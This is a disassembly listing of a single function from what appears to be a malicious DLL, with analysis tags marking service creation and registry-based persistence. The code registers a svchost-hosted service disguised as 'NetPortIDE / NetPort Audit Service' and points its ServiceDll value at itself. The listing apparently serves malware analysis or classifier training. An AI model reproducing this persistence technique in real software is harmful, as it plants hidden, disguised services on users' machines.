Function at 0x10002409
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
sub esp, 0x274
lea ebp, [esp - 4]
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp + 0x274], eax
push 0x4c
mov eax, 0x10026713
call fcn.100134d3
mov esi, dword [ebp + 0x280]
push esi
mov dword [ebp - 0x38], esi
call sym.netgar32.dll_UninstallService
xor ebx, ebx
push esi
mov dword [ebp - 0x18], VariantClear
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
call fcn.10011ae0
cmp eax, 1
pop ecx
pop ecx
jg 0x10002463
xor eax, eax
inc eax
jmp 0x1000271d
cmp esi, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], str.6to4
je 0x10002478
cmp byte [esi], bl
je 0x10002478
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x18]
push eax
mov edi, 0xf003f
push edi
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x100024ad
mov dword [ebp - 0x44], 0x1002d07d
push 0x1002fa80
lea eax, [ebp - 0x44]
push eax
call fcn.10013a16
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push str.mysysgroup1
push dword [ebp - 0x18]
mov dword [ebp - 0x50], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, esi
call fcn.100020eb
push edi
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 0x28], eax
jne 0x1000250e
mov dword [ebp - 0x30], str.OpenSCManager__
push 0x1002fa80
lea eax, [ebp - 0x30]
jmp 0x100024a7
push ebx
push ebx
push ebx
push ebx
push ebx
push str._SystemRoot__system32_svchost.exe__k_mysysgroup1
push 1
push 2
push 0x20
push 0xf01ff
push str.NetPortIDE
push dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
mov dword [ebp - 0x2c], eax
jne 0x1000254d
mov dword [ebp - 0x4c], 0x1002d07d
push 0x1002fa80
lea eax, [ebp - 0x4c]
jmp 0x100024a7
push str.Create_a_new_service
call fcn.10010b6d
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ecx
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x28]
call esi
push 0x1f4
lea eax, [ebp]
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x18], VariantClear
call fcn.10011b70
push 0x64
push dword [ebp - 0x24]
lea eax, [ebp]
push eax
call fcn.10010c40
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
push edi
push ebx
lea eax, [ebp]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x100025c1
mov dword [ebp - 0x3c], 0x1002d07d
push 0x1002fa80
lea eax, [ebp - 0x3c]
jmp 0x100024a7
lea eax, [ebp - 0x20]
push eax
push str.Parameters
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push eax
mov dword [ebp - 0x14], eax
call edi
cmp dword [ebp - 0x14], ebx
je 0x100025f8
mov dword [ebp - 0x40], str.RegCreateKey_Parameters_
push 0x1002fa80
lea eax, [ebp - 0x40]
jmp 0x100024a7
push 0x1f4
lea eax, [ebp]
push eax
push dword [0x10037cc8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10002625
mov dword [ebp - 0x48], str.GetModuleFileName___get_dll_path
push 0x1002fa80
lea eax, [ebp - 0x48]
jmp 0x100024a7
lea eax, [ebp]
push eax
call fcn.10011ae0
pop ecx
inc eax
push eax
lea eax, [ebp]
push eax
push 2
push ebx
push str.ServiceDll
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
mov dword [ebp - 0x14], eax
call edi
cmp dword [ebp - 0x14], ebx
je 0x10002688
mov dword [ebp - 0x34], str.RegSetValueEx_ServiceDll_
push 0x1002fa80
lea eax, [ebp - 0x34]
jmp 0x100024a7
push dword [ebp - 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x28]
call esi
lea eax, [ebp - 0x1c]
push eax
push str.SYSTEMCurrentControlSetServicesNetPortIDE
push 0x80000002
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 0x1c], ebx
je 0x10002711
push 5
pop ecx
mov esi, str.NetPort_Audit_Service.
lea edi, [ebp + 0x1f4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x69
lea eax, [ebp + 0x20b]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.10011e30
lea eax, [ebp + 0x1f4]
push eax
call fcn.10011ae0
add esp, 0x10
push eax
lea eax, [ebp + 0x1f4]
push eax
push 1
push ebx
push str.Description
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x38]
call fcn.10002334
mov eax, dword [ebp - 0x14]
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x274]
xor ecx, ebp
call fcn.100114bf
add ebp, 0x278
leave
ret